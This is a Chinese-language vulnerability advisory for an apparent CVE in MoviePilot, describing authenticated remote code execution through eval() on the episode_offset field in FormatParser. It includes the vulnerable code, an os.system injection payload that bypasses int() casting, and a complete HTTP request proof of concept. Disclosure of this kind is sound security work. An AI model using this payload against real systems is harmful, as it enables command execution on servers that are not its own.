episode_offset 中的 eval() 注入实现认证后 RCE(MoviePilot FormatParser)| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-95149 |
| 产品 | MoviePilot(jxxghp/MoviePilot) |
| 受影响版本 | <= v3.0.0 |
| 修复版本 | v3 分支 — 提交 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| 严重程度 | 高 |
| 攻击向量 | 远程,通过 HTTP API |
| 所需权限 | 已认证的管理用户(管理员或管理角色账户) |
| 用户交互 | 无 |
| 报告日期 | 2026-09-11 |
| 公开议题 | jxxghp/MoviePilot#6644 |
FormatParser 接受任意字符串,并且仅根据其中是否包含 "EP" 进行分支判断——它从不验证字符串的
剩余部分是否为格式正确的算术表达式:
elif "EP" in offset:
self.__offset = offset
随后多个下游分支通过文本替换构建 Python 表达式并直接对其求值:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
int(...) 包装仅约束表达式的返回值;它并不能阻止求值过程中发生的副作用。因此,载荷中嵌入的任何函数调用、导入或属性访问都会在最终值被强制转换为 int 之前执行。
一种常见的缓解尝试是将载荷乘以零,使算术结果保持为数值:
EP+__import__('os').system('touch /tmp/success')*0
这仍然有效。副作用(启动命令)发生在求值期间,远早于最终加法被强制转换为 int,因此攻击者最终既获得了命令执行,又获得了一个能通过 int() 类型检查的值。
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
在存在漏洞的实例上,/tmp/success 会由 MoviePilot 服务进程创建。如果 API 调用未返回 200,int() 转换将抛出异常——但注入的命令已经执行,因此请求的结果与漏洞利用无关。
app/application/formatting.py(v3.0.0 中的第 102 行和第 184 行)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302